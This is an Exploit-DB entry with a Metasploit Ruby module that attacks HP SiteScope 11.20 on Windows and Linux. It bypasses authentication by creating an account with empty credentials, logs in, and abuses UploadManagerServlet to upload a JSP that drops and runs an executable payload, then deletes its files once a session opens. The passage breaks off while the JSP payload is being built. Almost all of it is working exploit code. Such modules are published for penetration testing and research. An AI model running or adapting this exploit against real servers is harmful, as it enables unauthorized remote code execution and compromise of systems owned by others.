Exploit-DB #21137
Description: HP SiteScope (Linux/Windows) - Remote Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2012-09-08
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'HP SiteScope Remote Code Execution',
			'Description' => %q{
					This module exploits a code execution flaw in HP SiteScope. It exploits two
				vulnerabilities in order to get its objective. An authentication bypass in the
				create operation, available through the APIPreferenceImpl AXIS service, to create
				a new account with empty credentials and, subsequently, uses the new account to
				abuse the UploadManagerServlet and upload an arbitrary payload embedded in a JSP.
				The module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2
				and Linux CentOS 6.3.
			},
			'Author'       =>
				[
					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'OSVDB', '85121' ],
					[ 'OSVDB', '85151' ],
					[ 'BID', '55269' ],
					[ 'BID', '55273' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-174/' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-175/' ]
				],
			'Privileged'  => true,
			'Platform'    => [ 'win', 'linux' ],
			'Targets'     =>
				[
					[ 'HP SiteScope 11.20 / Windows 2003 SP2',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],
					[ 'HP SiteScope 11.20 / Linux CentOS 6.3',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						},
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 29 2012'))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
			], self.class)
	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			client.fs.file.rm("../#{@var_hexfile}.txt")
			client.fs.file.rm("../#{@jsp_name}.jsp")
		else
			if target['Platform'] == 'linux'
				client.shell_command_token("rm ../#{@var_hexfile}.txt")
				client.shell_command_token("rm ../#{@jsp_name}.jsp")
			elsif target['Platform'] == 'win'
				client.shell_command_token("del ..\\#{@var_hexfile}.txt")
				client.shell_command_token("del ..\\#{@jsp_name}.jsp")
			end
		end
	end

	def exploit
		@peer = "#{rhost}:#{rport}"
		@uri = target_uri.path
		@uri << '/' if @uri[-1,1] != '/'

		# Create user with empty credentials
		print_status("#{@peer} - Creating user with empty credentials")

		if create_user.nil?
			print_error("#{@peer} - Failed to create user")
			return
		end

		# Generate an initial JSESSIONID
		print_status("#{@peer} - Retrieving an initial JSESSIONID")
		res = send_request_cgi(
			'uri'    => "#{@uri}servlet/Main",
			'method' => 'POST',
		)

		if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
			session_id = $1
		else
			print_error("#{@peer} - Retrieve of initial JSESSIONID failed")
			return
		end

		# Authenticate
		login_data = "j_username=&j_password="

		print_status("#{@peer} - Authenticating on HP SiteScope Configuration")
		res = send_request_cgi(
			{
				'uri'    => "#{@uri}j_security_check",
				'method' => 'POST',
				'data'   => login_data,
				'ctype'  => "application/x-www-form-urlencoded",
				'headers' =>
					{
						'Cookie' => "JSESSIONID=#{session_id}",
					}
			})

		if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
			session_id = $1
			redirect =  URI(res.headers['Location']).path
		else
			print_error("#{@peer} - Authentication on SiteScope failed")
			return
		end

		# Follow redirection to complete authentication process
		print_status("#{@peer} - Following redirection to finish authentication")
		res = send_request_cgi(
			{
				'uri' => redirect,
				'method' => 'GET',
				'headers' =>
					{
						'Cookie' => "JSESSIONID=#{session_id}",
					}
			})

		if not res or res.code != 200
			print_error("#{@peer} - Authentication on SiteScope failed")
			return
		end

		# Upload the JSP and the raw payload
		@jsp_name = rand_text_alphanumeric(8+rand(8))

		# begin <payload>.jsp
		var_hexpath       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_exepath       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_data          = Rex::Text.rand_text_alpha(rand(8)+8)
		var_inputstream   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_outputstream  = Rex::Text.rand_text_alpha(rand(8)+8)
		var_numbytes      = Rex::Text.rand_text_alpha(rand(8)+8)
		var_bytearray     = Rex::Text.rand_text_alpha(rand(8)+8)
		var_bytes         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_counter       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_char1         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_char2         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_comb          = Rex::Text.rand_text_alpha(rand(8)+8)
		var_exe           = Rex::Text.rand_text_alpha(rand(8)+8)
		@var_hexfile      = Rex::Text.rand_text_alpha(rand(8)+8)
		var_proc          = Rex::Text.rand_text_alpha(rand(8)+8)
		var_fperm         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_fdel          = Rex::Text.rand_text_alpha(rand(8)+8)

		jspraw =  "<%@ page import=\"java.io.*\" %>\n"
		jspraw << "<%\n"
		jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
		jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_ex